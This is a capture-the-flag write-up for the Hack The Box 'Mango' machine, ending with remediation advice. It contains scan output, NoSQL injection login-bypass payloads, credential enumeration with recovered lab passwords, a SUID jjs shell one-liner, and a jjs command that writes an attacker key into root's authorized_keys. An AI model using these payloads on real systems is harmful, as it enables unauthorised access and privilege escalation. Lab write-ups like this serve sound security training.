HacktheBox 'Mango' writeup
‘Mango’ HTB Writeup
Host Information
Hostname | IP Address | Operating System | Difficulty Level |
Mango | 10.10.10.162 | Linux | Medium |
[toc]
Initial Recon
nmap information
An initial full TCP nmap scan of the host was run with the followiong command:
nmap -vv --reason -Pn -A --osscan-guess --version-all -p- -oN "/HTB/mango/scans/_full_tcp_nmap.txt" -oX "/HTB/mango/scans/xml/_full_tcp_nmap.xml" 10.10.10.162
The following ports were revealed open on the target, followed by the full nmap script ouput below:
10.10.10.162
Port | State | Service | Version |
---|---|---|---|
22/tcp | open | ssh | OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 |
80/tcp | open | http | Apache httpd 2.4.29 |
443/tcp | open | http | Apache httpd 2.4.29 |
nmap scan output
# Nmap 7.80 scan initiated Thu Aug 27 13:57:04 2020 as: nmap -vv --reason -Pn -A --osscan-guess --version-all -p- -oN /HTB/mango/scans/_full_tcp_nmap.txt -oX /HTB/mango/scans/xml/_full_tcp_nmap.xml 10.10.10.162
Nmap scan report for 10.10.10.162
Host is up, received user-set (0.031s latency).
Scanned at 2020-08-27 13:57:04 CDT for 52s
Not shown: 65532 closed ports
Reason: 65532 resets
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 a8:8f:d9:6f:a6:e4:ee:56:e3:ef:54:54:6d:56:0c:f5 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDXYCdNRHET98F1ZTM+H8yrD9KXeRjvIk9e78JkHdzcqCq6zcvYIqEZReb3FSCChJ9mxK6E6vu5xBY7R6Gi0V31dx0koyaieEMd67PU+9UcjaAujbDS3UgYzySN+c5GV/ssmA6wWHu4zz+k+qztqdYFPh0/TgrC/wNPWHOKdpivgoyk3+F/retyGdKUNGjypXrw6v1faHiLOIO+zNHorxB304XmSLEFswiOS8UsjplIbud2KhWPEkY4s4FyjlpfpVdgPljbjijm7kcPNgpTXLXE51oNE3Q5w7ufO5ulo3Pqm0x+4d+SEpCE4g0+Yb020zK+JlKsp2tFJyLqTLan1buN
| 256 6a:1c:ba:89:1e:b0:57:2f:fe:63:e1:61:72:89:b4:cf (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBDqSZ4iBMzBrw2lEFKYlwO2qmw0WPf76ZhnvWGK+LJcHxvNa4OQ/hGuBWCjVlTcMbn1Te7D8jGwPgbcVpuaEld8=
| 256 90:70:fb:6f:38:ae:dc:3b:0b:31:68:64:b0:4e:7d:c9 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIB1sFdLYacK+1f4J+i+NCAhG+bj8xzzydNhqA1Ndo/xt
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.29 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: 403 Forbidden
443/tcp open ssl/http syn-ack ttl 63 Apache httpd 2.4.29 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Mango | Search Base
| ssl-cert: Subject: commonName=staging-order.mango.htb/organizationName=Mango Prv Ltd./stateOrProvinceName=None/countryName=IN/emailAddress=admin@mango.htb/organizationalUnitName=None/localityName=None
| Issuer: commonName=staging-order.mango.htb/organizationName=Mango Prv Ltd./stateOrProvinceName=None/countryName=IN/emailAddress=admin@mango.htb/organizationalUnitName=None/localityName=None
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2019-09-27T14:21:19
| Not valid after: 2020-09-26T14:21:19
| MD5: b797 d14d 485f eac3 5cc6 2fed bb7a 2ce6
| SHA-1: b329 9eca 2892 af1b 5895 053b f30e 861f 1c03 db95
| -----BEGIN CERTIFICATE-----
| MIIEAjCCAuqgAwIBAgIJAK5QiSmoBvEyMA0GCSqGSIb3DQEBCwUAMIGVMQswCQYD
| VQQGEwJJTjENMAsGA1UECAwETm9uZTENMAsGA1UEBwwETm9uZTEXMBUGA1UECgwO
| TWFuZ28gUHJ2IEx0ZC4xDTALBgNVBAsMBE5vbmUxIDAeBgNVBAMMF3N0YWdpbmct
| b3JkZXIubWFuZ28uaHRiMR4wHAYJKoZIhvcNAQkBFg9hZG1pbkBtYW5nby5odGIw
| HhcNMTkwOTI3MTQyMTE5WhcNMjAwOTI2MTQyMTE5WjCBlTELMAkGA1UEBhMCSU4x
| DTALBgNVBAgMBE5vbmUxDTALBgNVBAcMBE5vbmUxFzAVBgNVBAoMDk1hbmdvIFBy
| diBMdGQuMQ0wCwYDVQQLDAROb25lMSAwHgYDVQQDDBdzdGFnaW5nLW9yZGVyLm1h
| bmdvLmh0YjEeMBwGCSqGSIb3DQEJARYPYWRtaW5AbWFuZ28uaHRiMIIBIjANBgkq
| hkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA5fimSfgq3xsdUkZ6dcbqGPDmCAJJBOK2
| f5a25At3Ht5r1SjiIuvovDSmMHjVmlbF6qX7C6f7Um+1Vtv/BinZfpuMEesyDH0V
| G/4X5r6o1GMfrvjvAXQ2cuVEIxHGH17JM6gKKEppnguFwVMhC4/KUIjuaBXX9udA
| 9eaFJeiYEpdfSUVysoxQDdiTJhwyUIPnsFrf021nVOI1/TJkHAgLzxl1vxrMnwrL
| 2fLygDt1IQN8UhGF/2UTk3lVfEse2f2kvv6GbmjxBGfWCNA/Aj810OEGVMiS5SLr
| arIXCGVl953QCD9vi+tHB/c+ICaTtHd0Ziu/gGbdKdCItND1r9kOEQIDAQABo1Mw
| UTAdBgNVHQ4EFgQUha2bBOZXo4EyfovW+pvFLGVWBREwHwYDVR0jBBgwFoAUha2b
| BOZXo4EyfovW+pvFLGVWBREwDwYDVR0TAQH/BAUwAwEB/zANBgkqhkiG9w0BAQsF
| AAOCAQEAmyhYweHz0az0j6UyTYlUAUKY7o/wBHE55UcekmWi0XVdIseUxBGZasL9
| HJki3dQ0mOEW4Ej28StNiDKPvWJhTDLA1ZjUOaW2Jg20uDcIiJ98XbdBvSgjR6FJ
| JqtPYnhx7oOigKsBGYXXYAxoiCFarcyPyB7konNuXUqlf7iz2oLl/FsvJEl+YMgZ
| YtrgOLbEO6/Lot/yX9JBeG1z8moJ0g+8ouCbUYI1Xcxipp0Cp2sK1nrfHEPaSjBB
| Os2YQBdvVXJau7pt9zJmPVMhrLesf+bW5CN0WpC/AE1M1j6AfkX64jKpIMS6KAUP
| /UKaUcFaDwjlaDEvbXPdwpmk4vVWqg==
|_-----END CERTIFICATE-----
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
Aggressive OS guesses: AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), Linux 3.2 - 4.9 (94%), Linux 3.1 (92%), Linux 3.2 (92%), Linux 3.18 (92%), Linux 2.6.32 (92%), Linux 3.16 (91%), Android 4.1.2 (90%), Android 4.2.2 (Linux 3.4) (90%), Linux 3.1 - 3.2 (90%)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=8/27%OT=22%CT=1%CU=36994%PV=Y%DS=2%DC=T%G=Y%TM=5F48023
OS:5%P=x86_64-pc-linux-gnu)SEQ(SP=FF%GCD=1%ISR=10A%TI=Z%CI=Z%TS=A)SEQ(SP=FF
OS:%GCD=1%ISR=10A%TI=Z%TS=A)OPS(O1=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11N
OS:W7%O4=M54DST11NW7%O5=M54DST11NW7%O6=M54DST11)WIN(W1=7120%W2=7120%W3=7120
OS:%W4=7120%W5=7120%W6=7120)ECN(R=Y%DF=Y%T=40%W=7210%O=M54DNNSNW7%CC=Y%Q=)T
OS:1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0
OS:%S=A%A=Z%F=R%O=%RD=0%Q=)T4(R=N)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=
OS:0%Q=)T5(R=N)T6(R=N)T6(R=Y%DF=Y%T=40%W=0%S=O%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF
OS:=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T7(R=N)U1(R=Y%DF=N%T=40%IPL=164%UN=
OS:0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
Uptime guess: 21.366 days (since Thu Aug 6 05:10:37 2020)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=255 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 111/tcp)
HOP RTT ADDRESS
1 30.53 ms 10.10.14.1
2 30.62 ms 10.10.10.162
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Aug 27 13:57:57 2020 -- 1 IP address (1 host up) scanned in 52.70 seconds
nmap scan observations
We can see that the target is Linux, likely Ubuntu based on the OS detection scripts from nmap and the banner grab from the SSH Service. Three ports/services are shown externally visible: Two services running Apache 2.4.29, one on using HTTP on standard TCP port 80, and the other using HTTPS on standard TCP port 443, as well as OpenSSH 7.6p1 which was running on the standard TCP port 22.
HTTP Enumeration
Beginning with enumeration of the HTTP service, we see that robots.txt file was not present on the server. A nikto scan against port 80 was also run but reported nothing of note. Addtionally a web crawl scan of the server on port 80 seemed to show all 403 status pages (using seclists web discovery common.txt list.) Going to the main page of the server on port 80 explains this result, as this page is also forbidden, as shown below.
HTTPS Enumeration
The HTTPS webserver on the other hand seems to load a page that looks much like the Google search engine, as shown below.
A robots.txt file was not found on this server either. A nikto scan was run against port 443 with the following reuslts:
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 10.10.10.162
+ Target Hostname: 10.10.10.162
+ Target Port: 443
---------------------------------------------------------------------------
+ SSL Info: Subject: /C=IN/ST=None/L=None/O=Mango Prv Ltd./OU=None/CN=staging-order.mango.htb/emailAddress=admin@mango.htb
Ciphers: ECDHE-RSA-AES256-GCM-SHA384
Issuer: /C=IN/ST=None/L=None/O=Mango Prv Ltd./OU=None/CN=staging-order.mango.htb/emailAddress=admin@mango.htb
+ Start Time: 2020-08-27 13:57:23 (GMT-5)
---------------------------------------------------------------------------
+ Server: Apache/2.4.29 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The site uses SSL and the Strict-Transport-Security HTTP header is not defined.
+ The site uses SSL and Expect-CT header is not present.
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Hostname '10.10.10.162' does not match certificate's names: staging-order.mango.htb
+ The Content-Encoding header is set to "deflate" this may mean that the server is vulnerable to the BREACH attack.
+ Apache/2.4.29 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ OSVDB-3233: /icons/README: Apache default file found.
+ 7863 requests: 0 error(s) and 10 item(s) reported on remote host
+ End Time: 2020-08-27 14:15:13 (GMT-5) (1070 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
A gobuster scan against the HTTPS service was slso run using the same common.txt wordlist, returning 3 entries that did not show as a 403 status.
/analytics.php (Status: 200) [Size: 397607]
/index.php (Status: 200) [Size: 5152]
/index.php (Status: 200) [Size: 5152]
Going to the analytics.php page presents an interesting BI/Analytics page, shown below:
Poking around a bit, there seemed to be a number of potential attack paths, such as attempting commmand injection via an imported js or csv file with the import local file function, or potentially trying SQL or NoSQL injection (thinking the host might have a mongoDB backend) in the main index.php page. However, none of these seemed easily viable, so further enumeration was done. Viewing the options within the page as well as the page source, we have an idea the the application or part of the applications functionality may be FlexMonster, but there seems no obvious way to definitively determine that at the moment.
We can recall a message from the nikto scan on port 443 that the cert CN staging-order.mango.htb did not match the site domain. We can add the following to our /etc/hosts file and see what happens:
#remove after HTB mango
10.10.10.162 mango.htb
10.10.10.162 staging-order.mango.htb
When going back to the HTTPS site, we notice and interesting error on the analytics page when using the https://staging-order.mango.htb/analytics.php URL. [The main search base URL at https://staging-order.mango.htb/] seems fine, however.
Even more interestingly, when going to the URL http://staging-order.mango.htb/ without HTTPS, we get a new page loaded, implying that some apache virutal hosts or ACL restrictions are in place. The new page is shown below.
From here we can run another web crawler enumeration script and nikto against the new URL. Ffuf was run with common.txt and found the following results:
home.php [Status: 302, Size: 0, Words: 1, Lines: 1]
index.php [Status: 200, Size: 4022, Words: 447, Lines: 210]
index.php [Status: 200, Size: 4022, Words: 447, Lines: 210]
vendor [Status: 301, Size: 335, Words: 20, Lines: 10]
[INFO] Adding a new job to the queue: http://staging-order.mango.htb/vendor/FUZZ
[INFO] Scanning: http://staging-order.mango.htb/vendor/FUZZ
composer [Status: 301, Size: 344, Words: 20, Lines: 10]
[INFO] Adding a new job to the queue: http://staging-order.mango.htb/vendor/composer/FUZZ
[INFO] Scanning: http://staging-order.mango.htb/vendor/composer/FUZZ
LICENSE [Status: 200, Size: 2918, Words: 443, Lines: 57]
http://staging-order.mango.htb/vendor/composer/LICENSE shows a license for ‘Composer’ but nothing immediately comes of that.
Because of the name of the box, and the json files found earlier, it’s likely that the backend database giving login information is MongoDB, or some other type of NoSQL DB. We can begin by trying some basic NoSQL injection payloads. Some great resources can be found from HatTricker here and from the PayloadAllTheThings github repo here
It’s a good idea to fire up burp suite for this, so i’ll do that, adding http://staging-order.mango.htb/ exclusively to the scope. Initially an entry of ' || 1==1//
was tried in both the username and password fields on the page in the browser, with no luck. Next, the username and password fields were each filled with [$ne]=doesnotexist
, like shown below, which was also successful.
We can see from burp that the request is a POST, so we send that request to the Repeater and modify and resend it. Trying to place these queries in the POST request body content and send them also results in failure, refreshing the page and showing a 200 OK HTTP status as the login page reloads. The following variations were tried in burp unsuccessfully:
username=' || 1==1//&password=' || 1==1//&login=login
username=[$ne]=doesnotexist&password=[$ne]=doesnotexist&login=login
However, I then noticed a detail I’d overlooked on the original payload - the not equals evaluator $[ne] belongs before the =, right next to the field name. Otherwise the statement will fail to evaluate properly. Removing the equals sign right after the username and password field name results in a request body like so:
username[$ne]=doesnotexist&password[$ne]=doesnotexist&login=login
Sending this request does indeed appear to be successful, giving the following 302 Found status on a new page, home.php. The HTTP Raw Reponse headers as well as a screenshot of the burp repeater request are shown below. (These were run the day after rooting the host to include in the writeup, in case you were wondering about the date mistmatch.)
HTTP/1.1 302 Found
Date: Fri, 28 Aug 2020 16:41:16 GMT
Server: Apache/2.4.29 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
location: home.php
Content-Length: 4022
Connection: close
Content-Type: text/html; charset=UTF-8
Sending this to the browser, we see a successful login, with home.php shown below.
There doesn’t seem to be much here however, except the admin@mango.htb address which is notable. Viewing the page source and running another gobuster web crawl from here did not provide much of use either.
Now that we know the DB is vulnerable to NoSQL injection however, let’s see if we can use that to pull values from the database. I found a good python script to do this at the github URL below. Let’s clone this repository, check the usage info, then run the script.
https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration
So in the below command we are specifying the fields and HTTP request type which we know from intercepting the requests in burp. Here we are telling the script to try and inject NoSQL in the username field to try and enumerate/fuzz values. This is possible in certain MongoDB configs where an injection can be used to evaluate true or false statements, much like blind SQL injections in SQLMap. Thus one by one we get characters for valid usernames.
initinfosec@kali:/0ps/tooling/nosql-mongodb-sqli-enum$ python nosqli-user-pass-enum.py -u http://staging-order.mango.htb/index.php -up username -pp password -op login=login -ep username -m POST
And the end results once finished:
2 username(s) found:
admin
mango
We’ll perform the same thing for the password field now:
initinfosec@kali:/0ps/tooling/nosql-mongodb-sqli-enum$ python nosqli-user-pass-enum.py -u http://staging-order.mango.htb/index.php -up username -pp password -op login=login -ep password -m POST
And again the results:
2 password(s) found:
h3mXK8RhU~f{]f5H
t9KcS3>!0B#2
So we have 2 possibilities to try, and quickly find that admin / t9KcS3>!0B#2 worked. We’re shown the following:
gaining an initial foothold
Trying those credentials for ssh did not work, however using “mango / h3mXK8RhU~f{]f5H” does result in a successful shell as the mango user, as shown below.
Lateral Movement
We see running sudo -l
that the mango user does not have permissions to run sudo. Viewing the /etc/passwd file also confirms that the admin user exists:
admin:x:4000000000:1001:,,,:/home/admin/:/bin/sh
While we couldn’t SSH as the user, that user may have been disallowed from SSH loogin by the SSH config on the system. Let’s try to swithc user with the password we gained earlier.
Great, so we see that this worked, and that we have access to the user.txt flag now.
Privilege Escalation
PrivEsc Enumeration
Now as the user admin, let’s proceed to see how we can get root. Running sudo -l and crontab -l we see we do not have permissions to run sudo, and no crontabs for the user. Next let’s query for root SUID binaries that we might be able to run as our standard user, have the process execute as root, and abuse the functionality to gain a shell.
admin@mango:/home/admin$ find /* -user root -perm -4000 -print 2>/dev/null | grep -v snap
/bin/fusermount
/bin/mount
/bin/umount
/bin/su
/bin/ping
/usr/bin/newuidmap
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/newgidmap
/usr/bin/run-mailcap
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/traceroute6.iputils
/usr/bin/pkexec
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/eject/dmcrypt-get-device
/usr/lib/jvm/java-11-openjdk-amd64/bin/jjs
/usr/lib/openssh/ssh-keysign
Two items quickly stick out as nonstandard to me - run-mailcap, and jjs. Let’s start by looking at get-mailcap.
Gaining a root shell
A quick search for run-mailcap on GTFObins shows that we can likely abuse the binary functionality to gain a shell from the application - let’s give it a try. Viewing /etc/hosts and then entering !/bin/sh on the “less” screen does pop a shell, but only one as our current user, unfortunately.
admin@mango:/home/admin$ /usr/bin/run-mailcap --action=view /etc/hosts
$ id
uid=4000000000(admin) gid=1001(admin) groups=1001(admin)
$ exit
It’s possible that run-mailcap or less has been updated, or there’s some other defence/protection in play. Let’s look at jjs next.
We also see an entry for jjs on GFTObins
Running the following command should spawn a shell, if successful:
echo "Java.type('java.lang.Runtime').getRuntime().exec('/bin/sh -pc \$@|sh\${IFS}-p _ echo sh <$(tty) >$(tty) 2>$(tty)').waitFor()" | jjs
We can also see that jjs is linked to our SUID binary’s absolute path.
admin@mango:/home/admin$ which jjs
/usr/bin/jjs
admin@mango:/home/admin$ ls -ltr /usr/bin/jjs
lrwxrwxrwx 1 root root 21 Sep 27 2019 /usr/bin/jjs -> /etc/alternatives/jjs
admin@mango:/home/admin$ ls -ltr /etc/alternatives/jjs
lrwxrwxrwx 1 root root 42 Sep 27 2019 /etc/alternatives/jjs -> /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs
However, trying this seems to result in an unresponsive shell, with the process needing to be killed.
admin@mango:/home/admin$ echo "Java.type('java.lang.Runtime').getRuntime().exec('/bin/sh -pc \$@|sh\${IFS}-p _ echo sh <$(tty) >$(tty) 2>$(tty)').waitFor()" | jjs
Warning: The jjs tool is planned to be removed from a future JDK release
jjs> Java.type('java.lang.Runtime').getRuntime().exec('/bin/sh -pc $@|sh${IFS}-p _ echo sh </dev/pts/0 >/dev/pts/0 2>/dev/pts/0').waitFor()
$
A few other methods are tried on the GFTOBins page, with little success. We can grab the /etc/shadow password from a read function within jjs successfully, meaning we could use unshadow to combine both the passwd and shadow files to try to crack the root password, but this would be a sub-optimal route. Additionally, the reverse shell method was tried, resulting in a shell that immediately died.
However, there is a write function that exists for JJS, so we have a few options:
- add an entry to /etc/passwd with a new user with UID 0/root permissions
This method would nice and effective but from the syntax of the command in GFTObins, there’s no garuntee it wouldn’t overwrite the entire file. So it’s best to probably create a completely new file. Which leaves us with at two or three least other options using the jjs’s write function:
-
Create a script to spawn a reverse shell and then again use the write functionality to add a root cron job to run it
-
Create an SSH key locally and transfer the public key to root’s .ssh folder to see if that would allow for login
-
Write a file to spawn a local or reverse shell and have another jjs command perform an execution of the file.
Due to the seeming instability of the jjs execution function with reverse and local shells in the prior methods, one of the former two methods are probably more ideal. The cron job option is definitely viable, but the SSH method seems a little more straightforward, so let’s go with that.
Sense the login needs to be root, the key needs to be generated as a root user, and thus this needs to be done on our kali system obviously. We can generate the keypair with:
initinfosec@kali:/0ps/HTB/mango/loot$ ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/home/initinfosec/.ssh/id_rsa): /0ps/HTB/mango/loot/id_rsa
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /0ps/HTB/mango/loot/id_rsa
Your public key has been saved in /0ps/HTB/mango/loot/id_rsa.pub
The key fingerprint is:
SHA256:4OLUmkQ7u0gN6FmVNC7twJWv3bNbYm4qRU0x4oNTdnM initinfosec@kali
The key's randomart image is:
+---[RSA 3072]----+
| +.+ =.E |
| . =.B o.+ |
| +.Booo |
| . .=+.+.. |
|. ..*.* S |
|. o* B o o |
| o. * . oo. |
| . . o ooo |
| . . ..oo. |
+----[SHA256]-----+
initinfosec@kali:/0ps/HTB/mango/loot$
Now let’s copy the contents of the key, and then form our jjs write command, making sure to save the file as /root/.ssh/authorized_keys so that the server will accept the key.
echo 'var FileWriter = Java.type("java.io.FileWriter");
var fw=new FileWriter("/root/.ssh/authorized_keys");
fw.write("ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDUcwhbMNQDaiyfOmbDqsJzKXMEtsUmxYNg9Gh2yiigzMqR5wTDpr3D74U3fO1PJ5tsahTc7WuAMnmhkaKl9oQRBhiqAl/6Pa39VeK8fKKxL9ooCvVP23k+PEKIc9oI9iKff9mqYf8dk3l32YJOa9j/boSYVcTGTMc7NgqkWokvjo7V5a1o9p44YM0+QI9s1t00Jqj9AgZnHt4zbEJaE4G6Inom8w/ZljBRG1OkorvdGov4PBOxmlsI0r3ZbHjSfTqsUvKZkvG2gQDSdUHU1sM+Mz8FS+1dpyU3VEG6EugjbiESUN7NnrFSK1y6x5nnLVA5RCy7LMiaJu94icFJ6nnbOEQ5TP05KNazdiTMOp/3KeG0jbQiYXScAyfVv7iJuAqrnWGwAarGVRwIIG6kAxZxXFBR1qve0Bz5HfET9bcbsyyJBSyGIGMpgk2FfcbdjMQi1TgAZVMiEeyEFw75ReLfnNlxbTSlUYGEgJ5qYqKsqJBD5PjLFFFQ7vbGw3T3E0E=");
fw.close();' | jjs
As shown below, the command seemed to execute with no error:
And now to test if it worked, let’s connect from kali to the target:
We see that it was successful, allowing us to gain root access to the Mango host by exploiting an SUID applications functions to escalate our privileges.
Conclusion
Recommended Remediations
-
Harden the mango backend database to better santize user input to avoid NoSQL injection and information leakage.
-
Credentials for different services should ideally vary even for the same accounts. SSH access credentials should differ from those used in the website database - password resuse proves a large security risk and enables much easier access and lateral movment for potential malicious actors.
-
Audit and review permissions on the system, such as the SUID binary jjs exploited to gain root permissions on the assessment. Consider removing the binary if not necessary, or restricting permissions so that the jjs application is not a root SUID privileged binary, if possible.
All for now; until next time.
~@initinfosec
Let me know what you think of this article on twitter @initinfosec or leave a comment below!